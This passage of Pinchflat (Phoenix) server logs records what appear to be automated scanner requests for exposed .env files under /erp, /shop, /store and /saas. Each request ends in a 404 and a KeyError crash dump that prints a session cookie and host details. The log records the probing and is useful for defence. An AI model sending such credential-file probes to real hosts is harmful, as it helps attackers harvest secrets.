status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/erp/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 118, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /erp/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/erp/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 118, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: (truncated) 02:10:17.265 [info] GET /shop/.env 02:10:17.266 [debug] QUERY OK source="settings" db=0.5ms idle=316.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:17.266 [debug] QUERY OK source="settings" db=0.2ms idle=317.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:17.266 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:17.267 [error] #PID<0.3423.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 119) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /shop/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /shop/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/shop/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 119, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3423.0>, params: %{}, path_info: ["shop", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/shop/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6pUf5lzIK6oAAR2B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/shop/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 119, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /shop/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/shop/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 119, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:17.333 [info] GET /store/.env 02:10:17.335 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=382.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:17.335 [debug] QUERY OK source="settings" db=0.2ms idle=127.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:17.335 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:17.336 [error] #PID<0.3424.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 120) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /store/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /store/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/store/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 120, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3424.0>, params: %{}, path_info: ["store", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/store/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6pk5G9uchqUAAR3B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/store/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 120, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /store/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/store/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 120, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:17.390 [info] GET /saas/.env 02:10:17.391 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=183.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:17.392 [debug] QUERY OK source="settings" db=0.3ms idle=125.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:17.392 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:17.393 [error] #PID<0.3425.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 121) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /saas/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /saas/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/saas/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 121, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3425.0>, params: %{}, path_info: ["saas", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/saas/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6pyZhMo25rQAAR4B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/saas/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 121, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /saas/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/saas/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", 